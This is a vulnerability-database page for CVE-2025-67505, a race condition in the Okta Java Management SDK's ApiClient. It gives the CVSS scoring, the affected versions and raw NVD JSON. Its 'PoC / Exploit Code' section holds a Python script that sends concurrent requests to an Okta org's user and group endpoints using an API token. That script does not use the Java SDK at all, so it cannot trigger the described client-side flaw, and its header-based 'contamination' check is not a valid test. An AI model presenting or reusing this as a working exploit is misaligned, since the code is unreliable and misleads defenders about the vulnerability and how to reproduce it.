Security Vulnerability Report
中文
CVE-2025-67505 CVSS 8.4 HIGH

CVE-2025-67505

Published: 2025-12-10 23:15:49
Last Modified: 2026-03-06 19:42:22

Description

Okta Java Management SDK facilitates interactions with the Okta management API. In versions 11.0.0 through 20.0.0, race conditions may arise from concurrent requests using the ApiClient class. This could cause a status code or response header from one request’s response to influence another request’s response. This issue is fixed in version 20.0.1.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:okta:java_management_sdk:*:*:*:*:*:*:*:* - VULNERABLE
Okta Java Management SDK >= 11.0.0 且 < 20.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import concurrent.futures import requests import time # CVE-2025-67505 PoC - Race Condition in Okta Java Management SDK # This PoC demonstrates triggering the race condition with concurrent requests def send_request(session, url, headers): """Send a request to the vulnerable endpoint""" try: response = session.get(url, headers=headers, timeout=10) return { 'status_code': response.status_code, 'headers': dict(response.headers), 'text': response.text[:200] } except Exception as e: return {'error': str(e)} def exploit_cve_2025_67505(base_url, okta_token): """ Exploit race condition in Okta Java Management SDK ApiClient The shared ApiClient state can be corrupted by concurrent requests """ session = requests.Session() headers = { 'Authorization': f'SSWS {okta_token}', 'Content-Type': 'application/json' } # Create multiple concurrent requests to trigger race condition with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor: futures = [] for i in range(20): # Alternate between different endpoints endpoint = f'{base_url}/api/v1/users' if i % 2 == 0 else f'{base_url}/api/v1/groups' futures.append(executor.submit(send_request, session, endpoint, headers)) results = [f.result() for f in concurrent.futures.as_completed(futures)] # Analyze results for response contamination print(f"[+] Total requests: {len(results)}") unique_status_codes = set(r.get('status_code') for r in results if 'status_code' in r) print(f"[+] Unique status codes observed: {unique_status_codes}") # Check for anomalies in response headers for i, result in enumerate(results): if 'headers' in result: if 'X-Okta-Request-Id' not in result['headers']: print(f"[!] Potential contamination in request {i}: Missing expected headers") return results if __name__ == "__main__": # Configuration OKTA_DOMAIN = "https://your-org.okta.com" OKTA_TOKEN = "your_api_token" print("CVE-2025-67505 - Okta Java SDK Race Condition PoC") print("=" * 50) results = exploit_cve_2025_67505(OKTA_DOMAIN, OKTA_TOKEN)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67505", "sourceIdentifier": "[email protected]", "published": "2025-12-10T23:15:48.667", "lastModified": "2026-03-06T19:42:22.223", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Okta Java Management SDK facilitates interactions with the Okta management API. In versions 11.0.0 through 20.0.0, race conditions may arise from concurrent requests using the ApiClient class. This could cause a status code or response header from one request’s response to influence another request’s response. This issue is fixed in version 20.0.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:okta:java_management_sdk:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0", "versionEndExcluding": "20.0.1", "matchCriteriaId": "62438062-BAC8-4B6C-8940-244143824FA0"}]}]}], "references": [{"url": "https://github.com/okta/okta-sdk-java/commit/abf4f128a0441f90cb7efcdcf4bde1aef8703243", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/okta/okta-sdk-java/security/advisories/GHSA-j5gq-897m-2rff", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}